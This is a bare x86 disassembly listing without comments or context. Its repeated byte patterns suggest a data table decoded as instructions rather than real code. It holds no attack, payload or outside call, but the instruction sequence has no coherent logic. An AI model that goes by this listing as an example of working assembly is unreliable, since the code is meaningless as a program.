push esp
imul eax, dword [eax], 0xd9046954
push esp
imul eax, dword [eax + edx*8], 0xa0046954
push esp
imul eax, dword [eax + edx*8], 0xa0046954
push esp
imul eax, dword [eax], 0xa6046954
push esp
imul eax, dword [eax], 0xaf046954
push esp
imul eax, dword [eax + esi*2], 0xc0046946
push esp
imul eax, dword [esi*4 - 0x3ffb96ac], 0x70046954
inc esi
imul eax, dword [esp + edx*2], 0x74046956
push esi
imul eax, dword [0x9b046956], 0xd3046956
push esi
imul eax, dword [edi], 0x40046957
pop esp
imul eax, dword [esi + esi], 0xe804695d
push edi
imul eax, dword [esi + esi], 0xf604695d
push edi
imul eax, dword [ebx + edx*8], 0x34046956
pop eax
imul eax, dword [eax + edx*4], 0x44046958
pop eax
imul eax, dword [eax + edx*4], 0x1046958
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + ebx*2 + 0x69], al
add al, 1
add byte [eax], al
add byte [eax + ebx*2 + 0x69], dl
add al, 0x90
pop eax
imul eax, dword [esp], 0x90046958
pop eax
imul eax, dword [esp + esi*2], 0x90046958
pop eax
imul eax, dword [eax + edx*4], 0x90046958
pop eax
imul eax, dword [esi + edx*4], 0x90046958
pop eax
imul eax, dword [eax], 0xe8046958
pop eax
imul eax, dword [eax + ebx*2], 0x1904695b
pop ecx
imul eax, dword [esi + eax*2], 0x4904695b
pop ecx
imul eax, dword [ebx + ecx*4], 0x94046959
pop ecx
imul eax, dword [edi + esi], 0x4604695b
pop ebx
imul eax, dword [esp + ecx*2], 0x5804695b
pop ebx
imul eax, dword [eax + eax], 0x9604695c
pop eax
imul eax, dword [ecx + ebp], 0x2004695c
pop esp
imul eax, dword [eax], 0x9604695c
pop eax
imul eax, dword [ecx + ebx*8], 0xe5046956
push esi
imul eax, dword [edx], 0x7e046956
push edi
imul eax, dword [eax + edx*4], 0x84046957
push edi
imul eax, dword [esi + edx*4], 0x90046957
push edi
imul eax, dword [eax + eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx - 0x7d], al
insb byte es:[edi], dx
add al, 0x27
mov word [esp + eax + 0x10], gs
sub dword [esp + eax + 0x10], 0xffffff83
insb byte es:[edi], dx
add al, 0xaf
sub dword [esp + eax + 0x7e], 0xffffff85
insb byte es:[edi], dx
add al, 0x8a
xchg dword [esp + eax - 0x54], ebp
test dword [esp + eax + 4], ebp
xchg byte [esp + eax - 0x26], ch
xchg dword [esp + eax - 0x26], ebp
xchg dword [esp + eax + 0x79], ebp
test dword [esp + eax - 0x41], ebp
mov dword [esp + eax - 0x2c], ebp
mov dword [esp + eax + 0xf], ebp
mov ch, byte [esp + eax - 0x43]
mov dword [esp + eax + 0x3d], ebp
sub dword [esp + eax + 0x6c], 0xffffff8b
insb byte es:[edi], dx
add al, 0x57
mov ebp, dword [esp + eax - 0x20]
test eax, 0x8e24046c
insb byte es:[edi], dx
add al, 0x24
mov gs, word [esp + eax - 0x66]
nop
insb byte es:[edi], dx
add al, 0x95
nop
insb byte es:[edi], dx
add al, 0x84
cwde
insb byte es:[edi], dx
add al, 0x84
cwde
insb byte es:[edi], dx
add al, 0xf4
cwde
insb byte es:[edi], dx
add al, 0xb4
cdq
insb byte es:[edi], dx
add al, 0x19
cdq
insb byte es:[edi], dx
add al, 0xa
lcall 0x46c, 0x9aa4046c
das
wait
insb byte es:[edi], dx
add al, 0x3a
cdq
insb byte es:[edi], dx
add al, 0x2f
wait
insb byte es:[edi], dx
add al, 0xe0
cwde
insb byte es:[edi], dx
add al, 0x74
wait
insb byte es:[edi], dx
add al, 0x76
wait
insb byte es:[edi], dx
add al, 0x96
wait
insb byte es:[edi], dx
add al, 0xae
wait
insb byte es:[edi], dx
add al, 0xc3
wait
insb byte es:[edi], dx
add al, 0xba
xchg edi, eax
insb byte es:[edi], dx
add al, 0xf4
xchg edi, eax
insb byte es:[edi], dx
add al, 0xf4
xchg edi, eax
insb byte es:[edi], dx
add al, 0
cwde
insb byte es:[edi], dx
add al, 0
cwde
insb byte es:[edi], dx
add al, 0xc3
wait
insb byte es:[edi], dx
add al, 0x16
lodsb al, byte [esi]
insb byte es:[edi], dx
add al, 0x24
lahf
insb byte es:[edi], dx
add al, 0x44
lahf
insb byte es:[edi], dx
add al, 0x44
lahf
insb byte es:[edi], dx
add al, 0x5a
lahf
insb byte es:[edi], dx
add al, 0x5a
lahf
insb byte es:[edi], dx
add al, 0x84
lahf
insb byte es:[edi], dx
add al, 0xa1
lahf
insb byte es:[edi], dx
add al, 0x1f
mov eax, dword [0xa116046c]
insb byte es:[edi], dx
add al, 0x5c
mov eax, dword [0xa1b3046c]
insb byte es:[edi], dx
add al, 0xef
mov eax, dword [0xa241046c]
insb byte es:[edi], dx
add al, 0x41
mov byte [0xa241046c], al
insb byte es:[edi], dx
add al, 0x16
lodsb al, byte [esi]
insb byte es:[edi], dx
add al, 0x16
lodsb al, byte [esi]
insb byte es:[edi], dx
add al, 0x72
mov byte [0xa340046c], al
insb byte es:[edi], dx
add al, 0x60
mov byte [0xa340046c], al
insb byte es:[edi], dx
add al, 0x23
mov byte [0xa340046c], al
insb byte es:[edi], dx
add al, 0x92
mov eax, dword [0xa196046c]
insb byte es:[edi], dx
add al, 0x40
mov dword [0xa340046c], eax
insb byte es:[edi], dx
add al, 0xa8
cmpsb byte [esi], byte es:[edi]
insb byte es:[edi], dx
add al, 0x90
cmpsb byte [esi], byte es:[edi]
insb byte es:[edi], dx
add al, 0xbe
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0xd3
stosd dword es:[edi], eax
insb byte es:[edi], dx
add al, 0xf3
stosd dword es:[edi], eax
insb byte es:[edi], dx
add al, 0x14
lodsb al, byte [esi]
insb byte es:[edi], dx
add al, 0x14
lodsb al, byte [esi]
insb byte es:[edi], dx
add al, 0x9a
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0x9a
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0xb4
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0xb6
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0x57
sub dword [esp + eax - 0xc], 0xffffff89
insb byte es:[edi], dx
add al, 0x4a
stosb byte es:[edi], al
insb byte es:[edi], dx
add al, 0x2a
lcall 0x46c, 0x9b74046c
hlt